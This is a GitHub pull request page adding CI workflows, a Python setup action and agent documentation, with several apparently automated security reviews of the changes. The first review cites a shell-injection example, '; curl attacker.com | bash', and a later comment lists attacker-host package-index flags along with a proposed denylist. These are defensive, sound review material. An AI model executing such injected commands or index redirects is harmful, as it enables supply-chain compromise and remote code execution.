Feature/add documentation and copilot instructions#18
Feature/add documentation and copilot instructions#18
Conversation
…nment setup, testing, and release processes
… adjust target settings
…entation for Copilot instructions
…ity review documentation
…Copilot instructions
…ewer configuration for Copilot
…eviewer configuration for Copilot
There was a problem hiding this comment.
Security Review Summary
This PR introduces GitHub Actions workflows, a reusable composite action, agent documentation, and Python input-validation utilities. The Python code changes are clean and well-structured. The CI/CD additions have two issues that should be addressed before merging.
🔴 High — Script injection via extra-args in composite action
File: .github/actions/setup-python-env/action.yml line 33
${{ inputs.extra-args }} is interpolated directly into the shell script body as a raw expression. Because GitHub Actions expands ${{ ... }} before the shell runs, a value such as ; curl attacker.com | bash would be executed as a shell command. Fix by routing the input through an environment variable (see inline comment for the exact fix).
🟡 Medium — Mutable third-party action tags (not SHA-pinned)
Files: action.yml (line 22), monorepo-release.yml (line 32), and all other new workflow files
astral-sh/setup-uv@v5— mutable tag, should be SHA-pinned.actions/checkout@v6— this tag does not exist (latest isv4.x); all new workflows use it. Thesecurity-review.lock.ymlin the same PR already uses the correct SHA-pinned reference (actions/checkout@de0fac2e...). Apply the same pattern across all workflows.
🔵 Low — persist-credentials: true and matrix.agent template injection
monorepo-release.yml/python-release.yml:persist-credentials: trueis required but extends the GITHUB_TOKEN lifetime in git config. Ensure no third-party actions run after these steps.python-docker-build.yml:${{ matrix.agent }}is interpolated directly into shell; prefer routing through an env var for defence in depth (see inline comment).
✅ No issues found in
- Python validator (
blank_string_validator.py) and error classes — correct use of__slots__, custom exceptions, and input validation. scripts/run_tasks_in_agents_if_exists.py— argparse refactor is clean; no injection surface.- Agent documentation files — no secrets or sensitive content.
security-review.lock.yml— correctly uses SHA-pinned actions throughout.CODING_STANDARDS.md,DEVELOPMENT.md,README.md— documentation only, no security concerns.
…ity review workflow
There was a problem hiding this comment.
Security Review Summary — PR #18: Feature/add documentation and copilot instructions
Reviewed all 30 changed files against 15 security posture categories. The overall security posture of this PR is good: all GitHub Actions use SHA-pinned action references with version comments, persist-credentials: false is consistently set on all checkout steps, permissions blocks follow least privilege, secrets are handled exclusively via ${{ secrets.* }} expressions, and the new Python validator module (blank_string_validator.py) is well-designed with no security issues.
Findings
| # | Severity | File | Category | Summary |
|---|---|---|---|---|
| 1 | Medium | .github/workflows/python-docker-build.yml:46 |
Input Validation / CI-CD | Agent name from cut -d/ -f2 has no allowlist validation before use in Docker build/run commands. Runs on fork PRs. |
| 2 | Low | .github/workflows/python-docs.yml:38 |
Dependency & Supply Chain | -U --prerelease=if-necessary-or-explicit makes docs build non-deterministic and can pull in pre-release packages. |
| 3 | Informational | .github/actions/setup-python-env/action.yml:39 |
Subprocess / Command Execution | Validation regex allows -- as a token; the separation between validation loop and uv sync invocation deserves a comment for future maintainers. |
What looks good
- ✅ All third-party Actions pinned to SHAs (e.g.,
actions/checkout@de0fac2e...,astral-sh/setup-uv@f0ec1fc3...,actions/upload-pages-artifact@7b1f4a76...) - ✅
persist-credentials: falseon all checkout steps - ✅ Minimal
permissions:blocks (contents: readwhere write is not needed) - ✅ Secrets never embedded in workflow bodies; only
${{ secrets.* }}references used - ✅ New
blank_string_validator.pycorrectly validates non-blank string inputs usingNoneNotAllowedError,StringTypeError,EmptyStringError, andMissingParameterError— solid design - ✅
run_tasks_in_agents_if_exists.pyimproved to useargparseinstead of rawsys.argv - ✅
monorepo-release.ymlandpython-release.ymlhandleGH_TOKENsecurely via credential helper, never embedded in URLs or.git/config - ✅ Test coverage added for the new validator (including whitespace-only, None, non-string, and missing parameter cases)
Co-authored-by: pmalarme <686568+pmalarme@users.noreply.github.com>
Co-authored-by: pmalarme <686568+pmalarme@users.noreply.github.com>
…tion Co-authored-by: pmalarme <686568+pmalarme@users.noreply.github.com>
Validate agent names before Docker build in python-docker-build workflow
fix: remove non-deterministic uv flags from docs workflow
Add inline security comments to extra-args validation in setup-python-env action
There was a problem hiding this comment.
Security Review Summary
Reviewed all 30 changed files against the 15 security posture categories. The overall security posture of this PR is good — the changes follow secure-by-default principles with SHA-pinned Actions, persist-credentials: false throughout, proper least-privilege permissions: blocks, validated agent names in CI scripts, and well-designed input validation in the new Python validator module.
Two findings were identified, both in the new CI/CD workflows:
Findings
| # | Severity | File | Category |
|---|---|---|---|
| 1 | Medium | .github/actions/setup-python-env/action.yml line 46 |
Supply Chain / Subprocess |
| 2 | Low | .github/workflows/python-release.yml line 57 |
Input Validation |
Finding 1 (Medium): The extra-args allowlist regex permits dangerous uv sync flags (--index-url, --extra-index-url, --trusted-host, --find-links) that could redirect dependency resolution to an attacker-controlled index. Current callers use only hardcoded values, but a denylist guard at the action level would provide defence-in-depth.
Finding 2 (Low): NAME and VERSION extracted from wheel filenames are not validated against an expected pattern before use in git tag --list glob patterns and path arguments. A simple regex guard would make this more robust.
Positive findings (no issues)
- ✅ All GitHub Actions SHA-pinned with version comments
- ✅
persist-credentials: falseon all checkout steps - ✅ Minimal
permissions:blocks (read-only where no writes needed,contents: writescoped correctly for release jobs) - ✅ Agent name validation with strict allowlist
^[a-z0-9][a-z0-9_-]*$before use in Docker commands (python-docker-build.yml) - ✅
GH_TOKENpassed via inline credential helper (never embedded in URLs or written to.git/config) - ✅
BASE_SHAfrom PR context used safely via environment variable (not inline expansion) - ✅ New
blank_string_validator.pyuses proper type checking, None guards, and structured custom exceptions - ✅ No secrets hardcoded anywhere in source, config, or documentation
- ✅
security-review.lock.ymlrestricts execution to same-repo PRs (github.event.pull_request.head.repo.id == github.repository_id), preventing fork-based privilege escalation - ✅
security-review.lock.ymlhaspermissions: {}at workflow level with job-level grants only
| exit 1 | ||
| fi | ||
| done | ||
| fi |
There was a problem hiding this comment.
Category: Subprocess and Command Execution / Dependency and Supply Chain Security
Severity: Medium
The extra-args validation regex (^-[a-zA-Z0-9=._:/@+-]+$) correctly rejects tokens that don't start with -, but it permits dangerous uv sync flags that could silently redirect dependency resolution to an attacker-controlled index:
--index-url=(attacker.com/redacted)--extra-index-url=(attacker.com/redacted)--trusted-host=attacker.com--find-links=(attacker.com/redacted)
If a future caller ever passes extra-args from a dynamic source (e.g., a workflow_dispatch input, an issue body, or a composite action that forwards user input), this could enable a supply-chain attack by substituting a malicious package index.
Recommendation: Add an explicit denylist check before the allowlist loop to reject these known-dangerous flags:
for arg in $EXTRA_ARGS; do
if [[ "$arg" =~ ^--(index-url|extra-index-url|trusted-host|find-links)(=|$) ]]; then
echo "::error::Blocked dangerous extra-args token: '$arg'. Registry overrides are not permitted." >&2
exit 1
fi
if [[ ! "$arg" =~ ^-[a-zA-Z0-9=._:/@+-]+$ ]]; then
echo "::error::Unsafe extra-args token: '$arg'." >&2
exit 1
fi
doneThe README already warns that only hardcoded static values should be used, but defence-in-depth at the action level is preferable to documentation-only mitigations.
| # Wheel filename: {name}-{version}-{python}-{abi}-{platform}.whl | ||
| BASENAME=$(basename "$WHL") | ||
| NAME=$(echo "$BASENAME" | cut -d- -f1) | ||
| VERSION=$(echo "$BASENAME" | cut -d- -f2) |
There was a problem hiding this comment.
Category: Input Validation and Sanitization / Subprocess and Command Execution
Severity: Low
NAME and VERSION are extracted from wheel filenames without format validation before use in shell constructs and git commands:
BASENAME=$(basename "$WHL")
NAME=$(echo "$BASENAME" | cut -d- -f1)
VERSION=$(echo "$BASENAME" | cut -d- -f2)
TAG="\$\{NAME}-v\$\{VERSION}"NAME is later used in a glob pattern passed to git tag --list:
PREV_TAG=$(git tag --list "\$\{NAME}-v*" ...)and in a path argument:
git log "\$\{PREV_TAG}..\$\{TAG}" --oneline -- "agents/\$\{NAME}/"While PEP 427 constrains wheel filenames to safe characters ([A-Za-z0-9_.] for normalised names) and these values originate from developer-controlled pyproject.toml files, there is no runtime guard. If a wheel with an unexpected filename were introduced (malformed build output, CI misconfiguration), unvalidated values could flow into git commands.
Recommendation: Add a validation guard immediately after extracting NAME and VERSION:
if [[ ! "$NAME" =~ ^[a-zA-Z0-9_-]+$ ]] || [[ ! "$VERSION" =~ ^[0-9a-zA-Z._-]+$ ]]; then
echo "::error::Unexpected wheel name/version format in '\$\{BASENAME}' — skipping." >&2
continue
fi…ython-env action Co-authored-by: pmalarme <686568+pmalarme@users.noreply.github.com>
Co-authored-by: pmalarme <686568+pmalarme@users.noreply.github.com>
Add denylist for dangerous uv sync registry-override flags in setup-python-env action
Validate wheel NAME/VERSION before use in git commands in python-release.yml
There was a problem hiding this comment.
Security Review Summary
Reviewed all 30 changed files against 15 security posture categories. The overall security posture of this PR is good — the changes follow secure-by-default principles throughout.
✅ What looks well-implemented
- All GitHub Actions pinned by SHA — every
uses:reference in the new/modified workflows includes a full commit SHA alongside a version comment. persist-credentials: false— applied consistently across all new checkout steps.- Least-privilege permissions — workflows declare narrow
permissions:blocks (e.g.,contents: read,contents: writeonly where actually needed for tagging/releasing). - Fork PR guard in security-review — the generated
security-review.lock.ymlincludes a runtime check (github.event.pull_request.head.repo.id == github.repository_id) that prevents the agentic workflow from running on PRs from forks. - Secrets via
${{ secrets.* }}— no hardcoded credentials anywhere. - Input sanitization in agent code — the new
blank_string_validator.pyandrequire_non_blank_stringsdecorator are cleanly implemented with proper None/type/blank checks. - Docker agent-name validation —
python-docker-build.ymlvalidates agent names against^[a-z0-9][a-z0-9_-]*$before passing them todocker build. - PR numbers sanitized in release scripts —
grep -oP '#\K\d+'extracts only digits before passing togh pr view.
⚠️ Finding (Low)
One low-severity finding was posted as an inline comment:
.github/actions/setup-python-env/action.ymlline 42 — Theextra-argsdenylist blocks registry-redirect flags but misses--upgrade/-U(bypasses lock file pinning) and--no-verify-checksums(skips integrity checks). Recommend extending the denylist or switching to an allowlist of known-safe flags.
Categories with no findings
1, 2, 3, 4, 5, 6, 7, 8 (partially noted above), 9, 10, 11, 12, 13, 14, 15 — all clear for the changed lines.
Summary
This pull request introduces several foundational improvements for repository automation, agent documentation, and security review processes. The main changes include the addition of new GitHub Actions for setting up Python environments, comprehensive agent documentation for agentic workflows and security review, and initial configuration files for code ownership and linguist-generated files. These updates collectively improve developer experience, security posture, and repository maintainability.
GitHub Actions and Automation
.github/actions/setup-python-env) for setting up Python withuvand syncing dependencies, including documentation for usage and configuration options. [1] [2].github/workflows/*.lock.yml) as linguist-generated and set merge strategy tooursto avoid merge conflicts and noise in diffs.Agent Documentation and Security
Repository Configuration
.github/CODEOWNERSfile with commented sections for team ownership of code, workflows, and documentation, to be customized per repository.actions-lock.jsonfile to pin GitHub Actions dependencies by SHA for supply chain security and reproducibility.Testing
uv run poe checkChecklist
Additional context